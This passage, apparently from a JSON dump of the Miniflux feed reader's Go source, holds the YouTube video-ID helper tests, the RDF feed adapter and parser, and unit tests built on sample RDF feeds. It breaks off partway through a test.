{\n\t\t\tID             string `json:\"id\"`\n\t\t\tContentDetails struct {\n\t\t\t\tDuration string `json:\"duration\"`\n\t\t\t} `json:\"contentDetails\"`\n\t\t} `json:\"items\"`\n\t}{}\n\tif err := json.NewDecoder(responseHandler.Body(config.Opts.HTTPClientMaxBodySize())).Decode(&videos); err != nil {\n\t\treturn nil, fmt.Errorf(\"youtube: unable to decode JSON: %v\", err)\n\t}\n\n\twatchTimeMap := make(map[string]time.Duration, len(videos.Items))\n\tfor _, video := range videos.Items {\n\t\tduration, err := parseISO8601Duration(video.ContentDetails.Duration)\n\t\tif err != nil {\n\t\t\tslog.Warn(\"Unable to parse ISO8601 duration\", slog.Any(\"error\", err))\n\t\t\tcontinue\n\t\t}\n\t\twatchTimeMap[video.ID] = duration\n\t}\n\treturn watchTimeMap, nil\n}\n"
  },
  {
    "path": "internal/reader/processor/youtube_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"testing\"\n)\n\nfunc TestGetYouTubeVideoIDFromURL(t *testing.T) {\n\tscenarios := []struct {\n\t\turl      string\n\t\texpected string\n\t}{\n\t\t{\"https://www.youtube.com/watch?v=HLrqNhgdiC0\", \"HLrqNhgdiC0\"},\n\t\t{\"https://www.youtube.com/watch?v=HLrqNhgdiC0&feature=youtu.be\", \"HLrqNhgdiC0\"},\n\t\t{\"https://example.org/test\", \"\"},\n\t}\n\tfor _, tc := range scenarios {\n\t\tresult := getVideoIDFromYouTubeURL(tc.url)\n\t\tif tc.expected != result {\n\t\t\tt.Errorf(`Unexpected result, got %q for url %q`, result, tc.url)\n\t\t}\n\t}\n}\n\nfunc TestIsYouTubeVideoURL(t *testing.T) {\n\tscenarios := []struct {\n\t\turl      string\n\t\texpected bool\n\t}{\n\t\t{\"https://www.youtube.com/watch?v=HLrqNhgdiC0\", true},\n\t\t{\"https://www.youtube.com/watch?v=HLrqNhgdiC0&feature=youtu.be\", true},\n\t\t{\"https://example.org/test\", false},\n\t}\n\tfor _, tc := range scenarios {\n\t\tresult := isYouTubeVideoURL(tc.url)\n\t\tif tc.expected != result {\n\t\t\tt.Errorf(`Unexpected result, got %v for url %q`, result, tc.url)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/reader/rdf/adapter.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rdf // import \"miniflux.app/v2/internal/reader/rdf\"\n\nimport (\n\t\"html\"\n\t\"log/slog\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/date\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype rdfAdapter struct {\n\trdf *rdf\n}\n\nfunc (r *rdfAdapter) buildFeed(baseURL string) *model.Feed {\n\tfeed := &model.Feed{\n\t\tTitle:       stripTags(r.rdf.Channel.Title),\n\t\tFeedURL:     strings.TrimSpace(baseURL),\n\t\tSiteURL:     strings.TrimSpace(r.rdf.Channel.Link),\n\t\tDescription: strings.TrimSpace(r.rdf.Channel.Description),\n\t}\n\n\tif feed.Title == \"\" {\n\t\tfeed.Title = baseURL\n\t}\n\n\tif siteURL, err := urllib.ResolveToAbsoluteURL(feed.FeedURL, feed.SiteURL); err == nil {\n\t\tfeed.SiteURL = siteURL\n\t}\n\n\tfor _, item := range r.rdf.Items {\n\t\tentry := model.NewEntry()\n\t\titemLink := strings.TrimSpace(item.Link)\n\n\t\t// Populate the entry URL.\n\t\tif itemLink == \"\" {\n\t\t\tentry.URL = feed.SiteURL // Fallback to the feed URL if the entry URL is empty.\n\t\t} else if entryURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, itemLink); err == nil {\n\t\t\tentry.URL = entryURL\n\t\t} else {\n\t\t\tentry.URL = itemLink\n\t\t}\n\n\t\t// Populate the entry title.\n\t\tfor _, title := range []string{item.Title, item.DublinCoreTitle} {\n\t\t\ttitle = strings.TrimSpace(title)\n\t\t\tif title != \"\" {\n\t\t\t\tentry.Title = html.UnescapeString(title)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// If the entry title is empty, we use the entry URL as a fallback.\n\t\tif entry.Title == \"\" {\n\t\t\tentry.Title = entry.URL\n\t\t}\n\n\t\t// Populate the entry content.\n\t\tif item.DublinCoreContent != \"\" {\n\t\t\tentry.Content = item.DublinCoreContent\n\t\t} else {\n\t\t\tentry.Content = item.Description\n\t\t}\n\n\t\t// Generate the entry hash.\n\t\thashValue := itemLink\n\t\tif hashValue == \"\" {\n\t\t\thashValue = item.Title + item.Description // Fallback to the title and description if the link is empty.\n\t\t}\n\n\t\tentry.Hash = crypto.SHA256(hashValue)\n\n\t\t// Populate the entry date.\n\t\tentry.Date = time.Now()\n\t\tif item.DublinCoreDate != \"\" {\n\t\t\tif itemDate, err := date.Parse(item.DublinCoreDate); err != nil {\n\t\t\t\tslog.Debug(\"Unable to parse date from RDF feed\",\n\t\t\t\t\tslog.String(\"date\", item.DublinCoreDate),\n\t\t\t\t\tslog.String(\"link\", itemLink),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tentry.Date = itemDate\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry author.\n\t\tswitch {\n\t\tcase item.DublinCoreCreator != \"\":\n\t\t\tentry.Author = stripTags(item.DublinCoreCreator)\n\t\tcase r.rdf.Channel.DublinCoreCreator != \"\":\n\t\t\tentry.Author = stripTags(r.rdf.Channel.DublinCoreCreator)\n\t\t}\n\n\t\tfeed.Entries = append(feed.Entries, entry)\n\t}\n\n\treturn feed\n}\n\nfunc stripTags(value string) string {\n\treturn strings.TrimSpace(sanitizer.StripTags(value))\n}\n"
  },
  {
    "path": "internal/reader/rdf/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rdf // import \"miniflux.app/v2/internal/reader/rdf\"\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/xml\"\n)\n\n// Parse returns a normalized feed struct from a RDF feed.\nfunc Parse(baseURL string, data io.ReadSeeker) (*model.Feed, error) {\n\txmlFeed := new(rdf)\n\tif err := xml.NewXMLDecoder(data).Decode(xmlFeed); err != nil {\n\t\treturn nil, fmt.Errorf(\"rdf: unable to parse feed: %w\", err)\n\t}\n\n\tadapter := &rdfAdapter{xmlFeed}\n\treturn adapter.buildFeed(baseURL), nil\n}\n"
  },
  {
    "path": "internal/reader/rdf/parser_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rdf // import \"miniflux.app/v2/internal/reader/rdf\"\n\nimport (\n\t\"bytes\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestParseRDFSample(t *testing.T) {\n\tdata := `\n\t<?xml version=\"1.0\"?>\n\n\t<rdf:RDF\n\t  xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t  xmlns=\"http://purl.org/rss/1.0/\"\n\t>\n\n\t  <channel rdf:about=\"http://www.xml.com/xml/news.rss\">\n\t\t<title>XML.com</title>\n\t\t<link>http://xml.com/pub</link>\n\t\t<description>\n\t\t  XML.com features a rich mix of information and services for the XML community.\n\t\t</description>\n\n\t\t<image rdf:resource=\"http://xml.com/universal/images/xml_tiny.gif\" />\n\n\t\t<items>\n\t\t  <rdf:Seq>\n\t\t\t<rdf:li resource=\"http://xml.com/pub/2000/08/09/xslt/xslt.html\" />\n\t\t\t<rdf:li resource=\"http://xml.com/pub/2000/08/09/rdfdb/index.html\" />\n\t\t  </rdf:Seq>\n\t\t</items>\n\n\t\t<textinput rdf:resource=\"http://search.xml.com\" />\n\n\t  </channel>\n\n\t  <image rdf:about=\"http://xml.com/universal/images/xml_tiny.gif\">\n\t\t<title>XML.com</title>\n\t\t<link>http://www.xml.com</link>\n\t\t<url>http://xml.com/universal/images/xml_tiny.gif</url>\n\t  </image>\n\n\t  <item rdf:about=\"http://xml.com/pub/2000/08/09/xslt/xslt.html\">\n\t\t<title>Processing Inclusions with XSLT</title>\n\t\t<link>http://xml.com/pub/2000/08/09/xslt/xslt.html</link>\n\t\t<description>\n\t\t Processing document inclusions with general XML tools can be\n\t\t problematic. This article proposes a way of preserving inclusion\n\t\t information through SAX-based processing.\n\t\t</description>\n\t  </item>\n\n\t  <item rdf:about=\"http://xml.com/pub/2000/08/09/rdfdb/index.html\">\n\t\t<title>Putting RDF to Work</title>\n\t\t<link>http://xml.com/pub/2000/08/09/rdfdb/index.html</link>\n\t\t<description>\n\t\t Tool and API support for the Resource Description Framework\n\t\t is slowly coming of age. Edd Dumbill takes a look at RDFDB,\n\t\t one of the most exciting new RDF toolkits.\n\t\t</description>\n\t  </item>\n\n\t  <textinput rdf:about=\"http://search.xml.com\">\n\t\t<title>Search XML.com</title>\n\t\t<description>Search XML.com's XML collection</description>\n\t\t<name>s</name>\n\t\t<link>http://search.xml.com</link>\n\t  </textinput>\n\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://xml.com/pub/rdf.xml\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"XML.com\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.Description != \"XML.com features a rich mix of information and services for the XML community.\" {\n\t\tt.Errorf(\"Incorrect description, got: %s\", feed.Description)\n\t}\n\n\tif feed.FeedURL != \"http://xml.com/pub/rdf.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://xml.com/pub\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif len(feed.Entries) != 2 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[1].Hash != \"8aaeee5d3ab50351422fbded41078ee88c73bf1441085b16a8c09fd90a7db321\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[1].URL != \"http://xml.com/pub/2000/08/09/rdfdb/index.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[1].Title != \"Putting RDF to Work\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n\n\tif strings.HasSuffix(feed.Entries[1].Content, \"Tool and API support\") {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n\n\tif feed.Entries[1].Date.Year() != time.Now().Year() {\n\t\tt.Errorf(\"Entry date should not be empty\")\n\t}\n}\n\nfunc TestParseRDFSampleWithDublinCore(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n\t<rdf:RDF\n\t  xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t  xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\t  xmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\t  xmlns:co=\"http://purl.org/rss/1.0/modules/company/\"\n\t  xmlns:ti=\"http://purl.org/rss/1.0/modules/textinput/\"\n\t  xmlns=\"http://purl.org/rss/1.0/\"\n\t>\n\n\t  <channel rdf:about=\"http://meerkat.oreillynet.com/?_fl=rss1.0\">\n\t\t<title>Meerkat</title>\n\t\t<link>http://meerkat.oreillynet.com</link>\n\t\t<description>Meerkat: An Open Wire Service</description>\n\t\t<dc:publisher>The O'Reilly Network</dc:publisher>\n\t\t<dc:creator>Rael Dornfest (mailto:rael@oreilly.com)</dc:creator>\n\t\t<dc:rights>Copyright &#169; 2000 O'Reilly &amp; Associates, Inc.</dc:rights>\n\t\t<dc:date>2000-01-01T12:00+00:00</dc:date>\n\t\t<sy:updatePeriod>hourly</sy:updatePeriod>\n\t\t<sy:updateFrequency>2</sy:updateFrequency>\n\t\t<sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>\n\n\t\t<image rdf:resource=\"http://meerkat.oreillynet.com/icons/meerkat-powered.jpg\" />\n\n\t\t<items>\n\t\t  <rdf:Seq>\n\t\t\t<rdf:li resource=\"http://c.moreover.com/click/here.pl?r123\" />\n\t\t  </rdf:Seq>\n\t\t</items>\n\n\t\t<textinput rdf:resource=\"http://meerkat.oreillynet.com\" />\n\n\t  </channel>\n\n\t  <image rdf:about=\"http://meerkat.oreillynet.com/icons/meerkat-powered.jpg\">\n\t\t<title>Meerkat Powered!</title>\n\t\t<url>http://meerkat.oreillynet.com/icons/meerkat-powered.jpg</url>\n\t\t<link>http://meerkat.oreillynet.com</link>\n\t  </image>\n\n\t  <item rdf:about=\"http://c.moreover.com/click/here.pl?r123\">\n\t\t<title>XML: A Disruptive Technology</title>\n\t\t<link>http://c.moreover.com/click/here.pl?r123</link>\n\t\t<dc:description>\n\t\t  XML is placing increasingly heavy loads on the existing technical\n\t\t  infrastructure of the Internet.\n\t\t</dc:description>\n\t\t<dc:publisher>The O'Reilly Network</dc:publisher>\n\t\t<dc:creator>Simon St.Laurent (mailto:simonstl@simonstl.com)</dc:creator>\n\t\t<dc:rights>Copyright &#169; 2000 O'Reilly &amp; Associates, Inc.</dc:rights>\n\t\t<dc:subject>XML</dc:subject>\n\t\t<co:name>XML.com</co:name>\n\t\t<co:market>NASDAQ</co:market>\n\t\t<co:symbol>XML</co:symbol>\n\t  </item>\n\n\t  <textinput rdf:about=\"http://meerkat.oreillynet.com\">\n\t\t<title>Search Meerkat</title>\n\t\t<description>Search Meerkat's RSS Database...</description>\n\t\t<name>s</name>\n\t\t<link>http://meerkat.oreillynet.com/</link>\n\t\t<ti:function>search</ti:function>\n\t\t<ti:inputType>regex</ti:inputType>\n\t  </textinput>\n\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://meerkat.oreillynet.com/feed.rdf\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"Meerkat\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.FeedURL != \"http://meerkat.oreillynet.com/feed.rdf\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://meerkat.oreillynet.com\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Hash != \"fa4ef7c300b175ca66f92f226b5dba5caa2a9619f031101bf56e5b884b02cd97\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[0].URL != \"http://c.moreover.com/click/here.pl?r123\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].Title != \"XML: A Disruptive Technology\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n\n\tif strings.HasSuffix(feed.Entries[0].Content, \"XML is placing increasingly\") {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n\n\tif feed.Entries[0].Author != \"Simon St.Laurent (mailto:simonstl@simonstl.com)\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseRDFFeedWithEmptyTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\">\n\t\t<channel>\n\t\t\t<link>http://example.org/item</link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/item</link>\n\t\t\t<description>Test</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/feed\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"http://example.org/feed\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseRDFFeedWithEmptyLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/item</link>\n\t\t\t<description>Test</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/feed\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/feed\" {\n\t\tt.Errorf(`Incorrect SiteURL, got: %q`, feed.SiteURL)\n\t}\n\n\tif feed.FeedURL != \"http://example.org/feed\" {\n\t\tt.Errorf(`Incorrect FeedURL, got: %q`, feed.FeedURL)\n\t}\n}\n\nfunc TestParseRDFFeedWithRelativeLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>/test/index.html  </link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/item</link>\n\t\t\t<description>Test</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/feed\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/test/index.html\" {\n\t\tt.Errorf(`Incorrect SiteURL, got: %q`, feed.SiteURL)\n\t}\n\n\tif feed.FeedURL != \"http://example.org/feed\" {\n\t\tt.Errorf(`Incorrect FeedURL, got: %q`, feed.FeedURL)\n\t}\n}\n\nfunc TestParseRDFFeedSiteURLWithTrailingSpace(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>http://example.org/test/index.html </link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/item</link>\n\t\t\t<description>Test</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/feed\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/test/index.html\" {\n\t\tt.Errorf(`Incorrect SiteURL, got: %q`, feed.SiteURL)\n\t}\n\n\tif feed.FeedURL != \"http://example.org/feed\" {\n\t\tt.Errorf(`Incorrect FeedURL, got: %q`, feed.FeedURL)\n\t}\n}\n\nfunc TestParseItemWithoutLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n\t<rdf:RDF\n\t  xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t  xmlns=\"http://purl.org/rss/1.0/\"\n\t>\n\n\t  <channel rdf:about=\"http://meerkat.oreillynet.com/?_fl=rss1.0\">\n\t\t<title>Meerkat</title>\n\t\t<link>http://meerkat.oreillynet.com</link>\n\t  </channel>\n\n\t  <item rdf:about=\"http://c.moreover.com/click/here.pl?r123\">\n\t\t<title>Title</title>\n\t\t<description>Test</description>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://meerkat.oreillynet.com\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Hash != \"37f5223ebd58639aa62a49afbb61df960efb7dc5db5181dfb3cedd9a49ad34c6\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[0].URL != \"http://meerkat.oreillynet.com\" {\n\t\tt.Errorf(\"Incorrect entry url, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseItemRelativeURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\">\n\t  <channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org</link>\n\t  </channel>\n\n\t  <item>\n\t\t\t<title>Title</title>\n\t\t\t<description>Test</description>\n\t\t\t<link>something.html</link>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://meerkat.oreillynet.com\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/something.html\" {\n\t\tt.Errorf(\"Incorrect entry url, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseFeedWithURLWrappedInSpaces(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:admin=\"http://webns.net/mvcb/\" xmlns=\"http://purl.org/rss/1.0/\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:prism=\"http://purl.org/rss/1.0/modules/prism/\" xmlns:taxo=\"http://purl.org/rss/1.0/modules/taxonomy/\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:syn=\"http://purl.org/rss/1.0/modules/syndication/\">\n\t<channel rdf:about=\"http://biorxiv.org\">\n\t\t<title>bioRxiv Subject Collection: Bioengineering</title>\n\t\t<link>http://biorxiv.org</link>\n\t\t<description>\n\t\t\tThis feed contains articles for bioRxiv Subject Collection \"Bioengineering\"\n\t\t</description>\n\t\t<items>\n\t\t\t<rdf:Seq>\n\t\t\t\t<rdf:li rdf:resource=\"http://biorxiv.org/cgi/content/short/857789v1?rss=1\"/>\n\t\t\t</rdf:Seq>\n\t\t</items>\n\t\t<prism:eIssn/>\n\t\t<prism:publicationName>bioRxiv</prism:publicationName>\n\t\t<prism:issn/>\n\t\t<image rdf:resource=\"\"/>\n\t</channel>\n\t<image rdf:about=\"\">\n\t\t<title>bioRxiv</title>\n\t\t<url/>\n\t\t<link>http://biorxiv.org</link>\n\t</image>\n\t<item rdf:about=\"http://biorxiv.org/cgi/content/short/857789v1?rss=1\">\n\t\t<title>\n\t\t\t<![CDATA[\n\t\t\tMicroscale Collagen and Fibroblast Interactions Enhance Primary Human Hepatocyte Functions in 3-Dimensional Models\n\t\t\t]]>\n\t\t</title>\n\t\t<link>\n\t\t\thttp://biorxiv.org/cgi/content/short/857789v1?rss=1\n\t\t</link>\n\t\t<description><![CDATA[\n\t\tHuman liver models that are 3-dimensional (3D) in architecture are proving to be indispensable for diverse applications, including compound metabolism and toxicity screening during preclinical drug development, to model human liver diseases for the discovery of novel therapeutics, and for cell-based therapies in the clinic; however, further development of such models is needed to maintain high levels of primary human hepatocyte (PHH) functions for weeks to months in vitro. Therefore, here we determined how microscale 3D collagen-I presentation and fibroblast interaction could affect the long-term functions of PHHs. High-throughput droplet microfluidics was utilized to rapidly generate reproducibly-sized (~300 micron diameter) microtissues containing PHHs encapsulated in collagen-I +/- supportive fibroblasts, namely 3T3-J2 murine embryonic fibroblasts or primary human hepatic stellate cells (HSCs); self-assembled spheroids and bulk collagen gels (macrogels) containing PHHs served as gold-standard controls. Hepatic functions (e.g. albumin and cytochrome-P450 or CYP activities) and gene expression were subsequently measured for up to 6 weeks. We found that collagen-based 3D microtissues rescued PHH functions within static multi-well plates at 2- to 30-fold higher levels than self-assembled spheroids or macrogels. Further coating of PHH microtissues with 3T3-J2s led to higher hepatic functions than when the two cell types were either coencapsulated together or when HSCs were used for the coating instead. Additionally, the 3T3-J2-coated PHH microtissues displayed 6+ weeks of relatively stable hepatic gene expression and function at levels similar to freshly thawed PHHs. Lastly, microtissues responded in a clinically-relevant manner to drug-mediated CYP induction or hepatotoxicity. In conclusion, fibroblast-coated collagen microtissues containing PHHs display hepatic functions for 6+ weeks without any fluid perfusion at higher levels than spheroids and macrogels, and such microtissues can be used to assess drug-mediated CYP induction and hepatotoxicity. Ultimately, microtissues may find broader utility for modeling liver diseases and as building blocks for cell-based therapies.\n\t\t]]></description>\n\t\t<dc:creator><![CDATA[ Kukla, D., Crampton, A., Wood, D., Khetani, S. ]]></dc:creator>\n\t\t<dc:date>2019-11-29</dc:date>\n\t\t<dc:identifier>doi:10.1101/857789</dc:identifier>\n\t\t<dc:title><![CDATA[Microscale Collagen and Fibroblast Interactions Enhance Primary Human Hepatocyte Functions in 3-Dimensional Models]]></dc:title>\n\t\t<dc:publisher>Cold Spring Harbor Laboratory</dc:publisher>\n\t\t<prism:publicationDate>2019-11-29</prism:publicationDate>\n\t\t<prism:section></prism:section>\n\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://biorxiv.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://biorxiv.org\" {\n\t\tt.Errorf(`Incorrect URL, got: %q`, feed.SiteURL)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != `http://biorxiv.org/cgi/content/short/857789v1?rss=1` {\n\t\tt.Errorf(`Unexpected entry URL, got %q`, feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseRDFItemWitEmptyTitleElement(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>http://example.org/</link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title> </title>\n\t\t\t<link>http://example.org/item</link>\n\t\t\t<description>Test</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries))\n\t}\n\n\texpected := `http://example.org/item`\n\tresult := feed.Entries[0].Title\n\tif result != expected {\n\t\tt.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestParseRDFItemWithDublinCoreTitleElement(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\"\n\t\txmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>http://example.org/</link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<dc:title>Dublin Core Title</dc:title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<description>Test</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries))\n\t}\n\n\texpected := `Dublin Core Title`\n\tresult := feed.Entries[0].Title\n\tif result != expected {\n\t\tt.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestParseRDFItemWithDuplicateTitleElement(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\"\n\t\txmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>http://example.org/</link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title>Item Title</title>\n\t\t\t<dc:title/>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<description>Test</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := 